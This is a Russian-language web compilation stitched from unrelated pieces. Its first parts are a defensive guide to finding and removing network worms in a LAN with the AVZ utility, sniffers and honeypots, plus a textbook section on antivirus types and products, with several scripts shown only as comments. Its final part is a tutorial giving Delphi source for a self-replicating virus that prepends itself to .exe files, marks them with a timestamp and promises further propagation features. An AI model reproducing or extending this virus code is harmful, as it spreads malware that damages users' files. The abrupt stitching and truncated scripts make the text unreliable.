Лечение от сетевого вируса
Проблема эпидемии сетевых червей актуальна для любой локальной сети. Рано или поздно может возникнуть ситуация, когда в ЛВС проникает сетевой или почтовый червь, который не детектируется применяемым антивирусом. Сетевой вирус распространяется по ЛВС через не закрытые на момент заражения уязвимости операционной системы или через доступные для записи общие ресурсы. Почтовый вирус, как следует из названия, распространяется по электронной почте при условии, что он не блокируется клиентским антивирусом и антивирусом на почтовом сервере. Кроме того, эпидемия в ЛВС может быть организована изнутри в результате деятельности инсайдера. В данной статье мы рассмотрим практические методики оперативного анализа компьютеров ЛВС с применением различных средств, в частности с помощью авторской утилиты AVZ.
Постановка задачи
В случае обнаружения эпидемии или некой нештатной активности в сети администратор должен оперативно решить минимум три задачи:
- обнаружить зараженные ПК в сети;
- найти образцы вредоносной программы для отправки в антивирусную лабораторию и выработки стратегии противодействия;
- принять меры для блокирования распространения вируса в ЛВС и его уничтожения на зараженных компьютерах.
В случае деятельности инсайдера основные шаги анализа идентичны и чаще всего сводятся к необходимости обнаружения установленного инсайдером постороннего ПО на компьютерах ЛВС. В качестве примера такого ПО можно назвать утилиты удаленного администрирования, клавиатурные шпионы и различные троянские закладки.
Рассмотрим более подробно решение каждой из поставленных задач.
Поиск зараженных ПК
Для поиска зараженных ПК в сети можно применять как минимум три методики:
- автоматический удаленный анализ ПК — получение информации о запущенных процессах, загруженных библиотеках и драйверах, поиск характерных закономерностей — например процессов или файлов с заданными именами;
- исследование трафика ПК с помощью сниффера — данный метод очень эффективен для отлова спам-ботов, почтовых и сетевых червей, однако основная сложность в применении сниффера связана с тем, что современная ЛВС строится на базе коммутаторов и, как следствие, администратор не может осуществлять мониторинг трафика всей сети. Проблема решается двумя путями: запуском сниффера на маршрутизаторе (что позволяет осуществлять мониторинг обмена данными ПК с Интернетом) и применением мониторинговых функций коммутаторов (многие современные коммутаторы позволяют назначить порт мониторинга, на который дублируется трафик одного или нескольких портов коммутатора, указанных администратором);
- исследование нагрузки на сеть — в данном случае очень удобно применять интеллектуальные коммутаторы, которые позволяют не только оценивать нагрузку, но и удаленно отключать указанные администратором порты. Данная операция существенно упрощается при наличии у администратора карты сети, на которой имеются данные о том, какие ПК подключены к соответствующим портам коммутатора и где они расположены;
- применение ловушек (honeypot) — в локальной сети настоятельно рекомендуется создать несколько ловушек, которые позволят администратору своевременно обнаружить эпидемию.
Автоматический анализ ПК можно свести к трем основным этапам:
- проведение полного исследования ПК — запущенные процессы, загруженные библиотеки и драйверы, автозапуск;
- проведение оперативного обследования — например поиск характерных процессов или файлов;
- карантин объектов по определенным критериям.
Все перечисленные задачи можно решить при помощи авторской утилиты AVZ, которая рассчитана на запуск из сетевой папки на сервере и поддерживает скриптовый язык для автоматического обследования ПК. Для запуска AVZ на компьютерах пользователей необходимо:
- Поместить AVZ в открытую для чтения сетевую папку на сервере.
- Создать в этой папке подкаталоги LOG и Qurantine и разрешить пользователям запись в них.
- Запустить AVZ на компьютерах ЛВС при помощи утилиты rexec или логон-скрипта.
Запуск AVZ на шаге 3 должен производиться при таких параметрах:
\\my_server\AVZ\avz.exe Priority=-1 nw=Y nq=Y HiddenMode=2 Script=\\my_server\AVZ\my_script.txt
Рис. 1. Редактор скриптов AVZ
Рассмотрим три типовых скрипта, которые могут пригодиться в ходе борьбы с эпидемией. Во-первых, нам потребуется скрипт для исследования ПК. Задача скрипта — произвести исследование системы и создать протокол с результатами в заданной сетевой папке. Скрипт имеет следующий вид:
// Включение сторожевого таймера на 10 минут
// Запуск сканирования и анализа
//Завершение работы AVZ
В ходе выполнения данного скрипта в папке LOG (предполагается, что она создана в каталоге AVZ на сервере и доступна пользователям для записи) будут создаваться HTML-файлы с результатами исследования компьютеров сети, причем для обеспечения уникальности в имя протокола включается имя исследуемого компьютера. В начале скрипта располагается команда включения сторожевого таймера, который принудительно завершит процеcc AVZ через 10 минут в случае, если в ходе выполнения скрипта возникнут сбои.
Протокол AVZ удобен для изучения вручную, однако для автоматизированного анализа он мало пригоден. Кроме того, администратору часто известно имя файла вредоносной программы и требуется только проверить наличие или отсутствие данного файла, а при наличии — поместить в карантин для анализа. В этом случае можно применить скрипт следующего вида:
// Включение сторожевого таймера на 10 минут
// Поиск вредоносной программы по имени
QuarantineFile(‘%WinDir%\smss.exe’, ‘Подозрение на LdPinch.gen’);
QuarantineFile(‘%WinDir%\csrss.exe’, ‘Подозрение на LdPinch.gen’);
//Завершение работы AVZ
В этом скрипте задействуется функция QuarantineFile, которая совершает попытку карантина указанных файлов. Администратору остается только проанализировать содержимое карантина (папка Quarantine\сетевое_имя_ПК\дата_каратина\) на наличие помещенных в карантин файлов. Следует учесть, что функция QuarantineFile автоматически блокирует помещение в карантин файлов, опознанных по базе безопасных AVZ или по базе ЭЦП Microsoft. Для практического применения данный скрипт можно усовершенствовать — организовать загрузку имен файлов из внешнего текстового файла, проверять найденные файлы по базам AVZ и формировать текстовый протокол с результатами работы:
// Поиск файла с указанным именем
function CheckByName(Fname : string) : boolean;
if Result then begin
case CheckFile(FName) of
-1 : S := ‘, доступ к файлу блокируется’;
1 : S := ‘, опознан как Malware (‘+GetLastCheckTxt+’)’;
2 : S := ‘, подозревается файловым сканером (‘+GetLastCheckTxt+’)’;
3 : exit; // Безопасные файлы игнорируем
AddToLog(‘Файл ‘+NormalFileName(FName)+’ имеет подозрительное имя’+S);
//Добавление указанного файла в карантин
SuspNames : TStringList; // Список имен подозрительных файлов
// Проверка файлов по обновляемой базе данных
if FileExists(GetAVZDirectory + ‘files.db’) then begin
AddToLog(‘База имен загружена - количество записей = ‘+inttostr(SuspNames.Count));
for i := 0 to SuspNames.Count - 1 do
AddToLog(‘Ошибка загрузки списка имен файлов’);
Для работы данного скрипта необходимо создать в папке AVZ доступные пользователям для записи каталоги Quarantine и LOG, а также текстовый файл files.db — каждая строка данного файла будет содержать имя подозрительного файла. Имена файлов могут включать макросы, наиболее полезные из которых — %WinDir% (путь к папке Windows) и %SystemRoot% (путь к папке System32). Другим направлением анализа может стать автоматическое исследование списка процессов, запущенных на компьютерах пользователей. Информация о запущенных процессах есть в протоколе исследования системы, но для автоматического анализа удобнее применять следующий фрагмент скрипта:
// Обновление списка процессов
AddToLog(‘Количество процессов = ‘+IntToStr(GetProcessCount));
// Цикл анализа полученного списка
for i := 0 to GetProcessCount - 1 do begin
S1 := S1 + ‘,’ + ExtractFileName(GetProcessName(i));
// Поиск процесса по имени
if pos(‘trojan.exe’, LowerCase(GetProcessName(i))) > 0 then
S := S + GetProcessName(i)+’,’;
AddLineToTxtFile(GetAVZDirectory+’\LOG\_alarm.txt’, DateTimeToStr(Now)+’ ‘+GetComputerName+’ : ‘+S);
AddLineToTxtFile(GetAVZDirectory+’\LOG\_all_process.txt’, DateTimeToStr(Now)+’ ‘+GetComputerName+’ : ‘+S1);
В завершение рассмотрим последний из полезных скриптов анализа — скрипт автоматического карантина всех файлов, которые не опознаются по базе безопасных AVZ и по базе ЭЦП Microsoft:
Автоматический карантин изучает запущенные процессы и загруженные библиотеки, службы и драйверы, около 45 способов автозапуска, модули расширения браузера и проводника, обработчики SPI/LSP, задания планировщика, обработчики системы печати и т.п. Особенностью карантина является то, что файлы в него добавляются с контролем повторов, поэтому функцию автокарантина можно вызывать многократно.
Достоинство автоматического карантина заключается в том, что с его помощью администратор может оперативно собрать потенциально подозрительные файлы со всех компьютеров сети для их изучения. Простейшей (но весьма эффективной на практике) формой изучения файлов может быть проверка полученного карантина несколькими популярными антивирусами в режиме максимальной эвристики. Следует отметить, что одновременный запуск автокарантина на нескольких сотнях компьютеров может создать высокую нагрузку на сеть и на файловый сервер.
Исследование трафика можно проводить тремя способами:
- вручную при помощи снифферов;
- в полуавтоматическом режиме — в данном случае сниффер собирает информацию, и затем его протоколы обрабатываются либо вручную, либо некоторым ПО;
- автоматически при помощи систем обнаружения вторжений (IDS) типа Snort (http://www.snort.org/) либо их программных или аппаратных аналогов. В простейшем случае IDS состоит из сниффера и системы, анализирующей собираемую сниффером информацию.
Система обнаружения вторжений является оптимальным средством, так как позволяет создавать наборы правил для обнаружения аномалии в сетевой активности. Второе ее преимущество состоит в следующем: большинство современных IDS позволяют размещать агенты мониторинга трафика на нескольких узлах сети — агенты собирают информацию и передают ее. В случае же применения сниффера очень удобно пользоваться консольным UNIX-сниффером tcpdump. Например, для мониторинга активности по порту 25 (протокол SMTP) достаточно запустить сниффер с командной строкой вида:
tcpdump -i em0 -l tcp port 25 > smtp_log.txt
В данном случае ведется захват пакетов через интерфейс em0; информация о захваченных пакетах будет сохраняться в файле smtp_log.txt. Протокол сравнительно просто анализировать вручную, в данном примере анализ активности по порту 25 позволяет вычислить ПК с активными спам-ботами.
В качестве ловушки (Honeypot) можно использовать устаревший компьютер, производительность которого не позволяет применять его для решения производственных задач. Например, в сети автора в качестве ловушки успешно применяется Pentium Pro c 64 Мбайт оперативной памяти. На этот ПК следует установить наиболее распространенную в ЛВС операционную систему и выбрать одну из стратегий:
- Установить операционную систему без пакетов обновлений — она будет индикатором появления в сети активного сетевого червя, эксплуатирующего любую из известных уязвимостей для данной операционной системы;
- установить операционную систему с обновлениями, которые установлены на других ПК сети — Honeypot будет аналогом любой из рабочих станций.
Каждая из стратегий имеет как свои плюсы, так и минусы; автор в основном применяет вариант без обновлений. После создания Honeypot следует создать образ диска для быстрого восстановления системы после ее повреждения вредоносными программами. В качестве альтернативы образу диска можно использовать системы отката изменений типа ShadowUser и его аналогов. Построив Honeypot, следует учесть, что ряд сетевых червей ищут заражаемые компьютеры путем сканирования диапазона IP, отсчитываемого от IP-адреса зараженного ПК (распространенные типовые стратегии — X.X.X.*, X.X.X+1.*, X.X.X-1.*), — следовательно, в идеале Honeypot должен быть в каждой из подсетей. В качестве дополнительных элементов подготовки следует обязательно открыть доступ к нескольким папкам на Honeypot-системе, причем в данные папки следует положить несколько файлов-образцов различного формата, минимальный набор — EXE, JPG, MP3.
Рис. 2. Создание и настройка предупреждения о сетевой активности
В качестве предупреждения удобнее всего использовать сообщения электронной почты, отправляемые на почтовый ящик администратора, — в этом случае можно получать оперативные оповещения от всех ловушек в сети. Кроме того, если сниффер позволяет создавать несколько предупреждений, есть смысл дифференцировать сетевую активность, выделив работу с электронной почтой, FTP/HTTP, TFTP, Telnet, MS Net, повышенный трафик более 20-30 пакетов в секунду по любому протоколу (рис. 3).
Рис. 3. Письмо-оповещение, высылаемое
в случае обнаружения пакетов, соответствующих заданным критериям
При организации ловушки неплохо разместить на ней несколько применяемых в сети уязвимых сетевых служб или установить их эмулятор. Простейшим (и бесплатным) является авторская утилита APS, работающая без инсталляции. Принцип работы APS сводится к прослушиванию множества описанных в ее базе портов TCP и UDP и выдаче в момент подключения заранее заданного или случайно генерируемого отклика (рис. 4).
Рис. 4. Главное окно утилиты APS
Дистанционное удаление вредоносных программ
В идеальном случае после обнаружения образцов вредоносных программ администратор отправляет их в антивирусную лабораторию, где они оперативно изучаются аналитиками и в базы антивируса вносятся соответствующие сигнатуры. Эти сигнатуры через автоматическое обновление попадают на ПК пользователей, и антивирус производит автоматическое удаление вредоносных программ без вмешательства администратора. Однако эта цепочка не всегда работает как положено, в частности возможны следующие причины сбоя:
- по ряду независимых от администратора сети причин образы могут не дойти до антивирусной лаборатории;
- недостаточная оперативность антивирусной лаборатории — в идеале на изучение образцов и их внесение в базы уходит не более 1-2 часов, то есть в пределах рабочего дня можно получить обновленные сигнатурные базы. Однако не все антивирусные лаборатории работают столь оперативно, и обновления можно ждать несколько дней (в редких случаях — даже недель);
- высокая работоспособность антивируса — ряд вредоносных программ после активации уничтожают антивирусы или всячески нарушают их работу. Классические примеры — внесение в файл hosts записей, блокирующих нормальную работу системы автообновления антивируса, удаление процессов, службы и драйверов антивирусов, повреждение их настроек и т.п.
Следовательно, в перечисленных ситуациях придется бороться с вредоносными программами вручную. В большинстве случаев это несложно, так как по результатам исследования компьютеров известны зараженные ПК, а также полные имена файлов вредоносных программ. Остается только произвести их дистанционное удаление. Если вредоносная программа не защищается от удаления, то уничтожить ее можно скриптом AVZ следующего вида:
// Эвристическая чистка системы
Данный скрипт удаляет один заданный файл (или несколько файлов, так как команд DeleteFile в скрипте может быть неограниченное количество) и затем производит автоматическую чистку реестра. В более сложном случае вредоносная программа может защищаться от удаления (например, пересоздавая свои файлы и ключи реестра) или маскироваться по руткит-технологии. В этом случае скрипт усложняется и будет иметь следующий вид:
// Включение протоколирования BootCleaner
// Импорт в задание BootCleaner списка файлов, удаленных скриптом
- 28.09.2018  
- Опыт   
Что нужно делать в первую очередь?
Попадая в компьютер, сетевой вирус начинает очень быстро распространяться. На другие устройства он проникает через открытые уязвимости ОС или через общие ресурсы. Поэтому первое, что нужно сделать, это закрыть все уязвимости, отключить вай-фай, заблокировать общие источники.
В идеале, чтобы вирус не распространился, нужно отключить заражённый компьютер от корпоративной сети. Однако здесь есть проблема. Если вирус уже начал распространяться по сети, определить, какой ПК пустил его в сеть, будет не просто. Для этого есть несколько методик.
Поиск заражённого компьютера
Чем быстрее удастся найти источник (источники) заражения, тем больше компьютеров и данных получиться спасти.
Существует несколько методов поиска. Мы рассмотрим два самых простых, доступных и вместе с тем эффективных:
- Исследование трафика компьютера;
- Автоматический удалённый анализ.
Первым способом очень легко поймать спам-бота, сетевого или почтового червя. Второй способ несколько сложнее первого, но зато более универсальный. Для верности можно использовать оба метода сразу.
Для применения метода используют снифферы – специальные анализаторы трафика. Исследование можно проводить вручную. Но это достаточно трудоёмкий процесс. Сейчас для исследования трафика большинство фирм использует специальные системы обнаружения вторжений – IDS. Пример такой системы – Snort.
Стандартная IDS состоит из сниффера и программы, анализирующей собранную информацию. Систему устанавливают на несколько узлов сети и запускают в случае проникновения вируса. Анализ делается автоматически. После этого устройства, на которых была замечена подозрительная активность, отключаются от корпоративной сети, и на них отдельно ведётся поиск и обезвреживание вируса.
Помимо того, что IDS автоматизируют работу, у них есть ещё один плюс – анализ можно периодически проводить для профилактики. Так больше шансов вовремя обнаружить вредную программу и удалить её.
На самом деле, здесь существует несколько способов. Чтобы объяснить принцип, мы рассмотрим использование утилиты AVZ. Она запускается из сетевой папки на сервере при помощи логин-скрипта. Для успешной работы утилиты нужно создать в сетевой папке подкаталоги LOG и Qurantine и разрешить участникам сети делать в них записи.
После этого применяются разные скрипты, которые ищут подозрительное ПО. Мы рассмотрим несколько самых полезных.
Самый простой скрипт – автоматический карантин. Выглядит он следующим образом:
Если автокарантин не работает, можно пойти более сложным и детальным путём. Для этого нужен скрипт, с помощью которого делается анализ всех запущенных процессов на компьютере. Процессы распределяются в два списка: все процессы и те, которые считаются опасными. Обычно имя вредоносного процесса бывает уже известно. Поэтому, если компьютер заражён, программа находит его. А остальные процессы можно изучить на предмет представления опасности. Данный скрипт выглядит следующим образом:
AddToLog(‘Количество процессов = ‘+IntToStr(GetProcessCount));
for i := 0 to GetProcessCount — 1 do begin
S1 := S1 + ‘,’ + ExtractFileName(GetProcessName(i));
if pos(‘danger.exe’, LowerCase(GetProcessName(i))) > 0 then
S := S + GetProcessName(i)+’,’;
AddLineToTxtFile(GetAVZDirectory+’\LOG\_alarm.txt’, DateTimeToStr(Now)+’ ‘+GetComputerName+’ : ‘+S);
AddLineToTxtFile(GetAVZDirectory+’\LOG\_all_process.txt’, DateTimeToStr(Now)+’ ‘+GetComputerName+’ : ‘+S1);
Имя вредоносного файла мы условно обозначили как danger.exe. Для более детального анализа этот скрипт можно усложнять, дополнять. В любом случае принцип программы остаётся тот же – поиск запущенных процессов и выделение подозрительных.
Удаление вируса
Самый простой способ – это отправить данные вредоносного ПО производителю антивируса. Производитель должен изучить его и разработать сигнатуры, которые удалят вирус. Сигнатуры поступят в сеть после нового обновления, и вирус исчезнет.
Однако к этому способу прибегают крайне редко, потому что зачастую разработчики антивируса не реагируют на проблему достаточно оперативно. Пока придёт обновление, коварная программа может натворить очень много бед. Данные, конечно же, надо отправить. И с новым обновлением вы больше не подхватите тот же вирус. Но удалять его лучше вручную. И тут опять можно использовать AVZ.
Стандартный скрипт для удаления выглядит так:
Программа удаляет заданный файл или несколько файлов (команд DeleteFile может быть сколько угодно), а после чистит реестр.
Однако очень часто вирусы защищаются от удаления. Тогда скрипт можно усложнить до вида:
Этот скрипт достаточно эффективен. Чтобы противостоять ему, вирус должен быть очень сильным. А такие попадаются крайне редко.
Ловушки для вирусов
Чтобы вообще не дать вирусу проникнуть в систему, можно установить ловушку. Для этого можно использовать старый компьютер. Устанавливаем на него ОС без пакетов обновлений, подключаем к корпоративной сети и ставим сниффер. Очень удобно ставить снифферы с автоматическими оповещениями. Если на таком компьютере будет обнаружена активность, значит, вирус проник в систему. Так можно вовремя засечь его и удалить, не позволив нанести вред.
Главным оружием в борьбе с вирусами являются антивирусные программы. Они позволяют не только обнаружить вирусы, но и удалить их из компьютера.
Итак, что же такое антивирус? Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус - это тоже программа, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Но существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов.
Современные антивирусные технологии позволяют выявить практически все уже известные вирусные программы через сравнение кода подозрительного файла с образцами, хранящимися в антивирусной базе. Кроме того, разработаны технологии моделирования поведения, позволяющие обнаруживать вновь создаваемые вирусные программы. Обнаруживаемые объекты могут подвергаться лечению, изолироваться (помещаться в карантин) или удаляться. Защита от вирусов может быть установлена на рабочие станции, файловые и почтовые сервера, межсетевые экраны, работающие под практически любой из распространенных операционных систем, на процессорах различных типов.
Своевременное обнаружение зараженных вирусами файлов и дисков, полное уничтожение обнаруженных вирусов на каждом компьютере позволяют избежать распространения вирусной эпидемии на другие компьютеры.
3.2. Виды антивирусных программ
Существует несколько основополагающих методов поиска вирусов, которые применяются антивирусными программамиДля обнаружения, удаления и защиты от компьютерных вирусов разработано несколько видов антивирусных программ:
2. программы-доктора или фаги
3. программы-ревизоры (инспектора)
4. программы-фильтры (мониторы)
5. программы-вакцины или иммунизаторы
Программы-детекторы осуществляют поиск характерной для конкретного вируса сигнатуры в оперативной памяти и в файлах и при обнаружении выдают соответствующее сообщение. Недостатком таких антивирусных программ является то, что они могут находить только те вирусы, которые известны разработчикам таких программ.
2.2.3 Программы-ревизоры (инспектора)
Программы-ревизоры (инспектора) относятся к самым надежным средствам защиты от вирусов. Ревизоры (инспектора) проверяют данные на диске на предмет вирусов-невидимок, изучают, не забрался ли вирус в файлы, нет ли посторонних в загрузочном секторе жесткого диска, нет ли несанкционированных изменений реестра Windows. Причем инспектор может не пользоваться средствами операционной системы для обращения к дискам (а значит, активный вирус не сможет это обращение перехватить).
2.2.4 Программы - фильтры (мониторы)
1. попытки коррекции файлов с расширениями COM, EXE
2. изменение атрибутов файла
3. прямая запись на диск по абсолютному адресу
4. запись в загрузочные сектора диска
5. загрузка резидентной программы.
2.2.5 Вакцины или иммунизаторы
В настоящий момент существует множество антивирусных программ, однако нет гарантии, что они смогут справиться с новейшими разработками. Поэтому следует придерживаться некоторых мер предосторожности, в частности:
1. Не работать под привилегированными учётными записями без крайней необходимости.
2. Не запускать незнакомые программы из сомнительных источников.
3. Стараться блокировать возможность несанкционированного изменения системных файлов.
4. Отключать потенциально опасный функционал системы (например, autorun-носителей в MS Windows, сокрытие файлов, их расширений и пр.).
5. Не заходить на подозрительные сайты, обращать внимание на адрес в адресной строке обозревателя.
6. Пользоваться только доверенными дистрибутивами.
7. Постоянно делать резервные копии важных данных и иметь образ системы со всеми настройками для быстрого развёртывания.
8. Выполнять регулярные обновления часто используемых программ, особенно тех, которые обеспечивают безопасность системы.
3.3. Лицензионные антивирусные программы
Выбор антивируса для домашнего пользования - актуальный вопрос, особенно для начинающих пользователей. Рано или поздно у любого возникает необходимость установки антивируса. Интересный факт, но многие пользователи вообще не устанавливают программ для защиты своего компьютера. Не устанавливают, пока не возникают различные сбои в работе системы. И действительно, при заражении компьютера вирусами замедляется работа системы, компьютер "тормозит" или "подвисает". В худшем же случае троянские программы могут похитить пароли и личную информацию. Как выбрать домашний антивирус, чтобы обезопасить себя от неприятностей попробуем разобраться.
Различные фирмы-производители программных продуктов, целенаправленно занимающиеся компьютерной и информационной безопасностью предлагают сегодня большой выбор антивирусных программ.
Приобретение лицензионной антивирусной программы обеспечит относительно надежную защиту данных от несанкционированного доступа и использования компьютера во вредоносных целях.
Ниже представлены наиболее популярные лицензионные антивирусные программы, которые можно приобрести, в т.ч и через Интернет.
Антивирус Касперского - обеспечивает защиту в реальном времени от вирусов, червей, троянских коней, руткитов, adware, шпионских программ в том числе и неизвестных угроз используя проактивную защиту, которая включает HIPS-компоненты, в том числе, имеются версии для мобильных устройств (18 версий).
Eset NOD32 - представляет полную защиту компьютера. Комплексная защита компьютера функционирует в реальном времени и обеспечивает надежную защиту от вирусов и вредоносных программ, а так же других угроз, таких как фишинг-атаки, черви, spyware, adware и другие.Отличительной особенностью является экономичное использование ресурсов и высокая скорость исполнения (31 версия)
Norton (Symantec) - базовая антивирусная защита, блокирующая вирусы и программы-шпионы и позволяющая безопасно работать в Интернете и обмениваться информацией (10 версий).
Доктор Веб - базовая антивирусная защита, блокирующая вирусы и программы-шпионы и позволяющая безопасно работать в Интернете и обмениваться информацией (45 различных версий).
Avira - AAviraAntivirusPremium - защита от вирусов для персональных компьютеров, работающих под управлением ОС Windows (18 версий)
avast! - это более эффективная защита во время просмотра страниц Интернета, полнофункциональная антивирусная программа (23 версии).
TrendMicro — обновления в режиме реального времени, защита от новейших веб-угроз сейчас и в будущем(11 версий).
McAfee - эффективная защита от вирусов, шпионских и вредоносных программ. Защитное ПО постоянно сканирует и блокирует опасные электронные сообщения, содержимое опасных веб-страниц (3 версии).
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
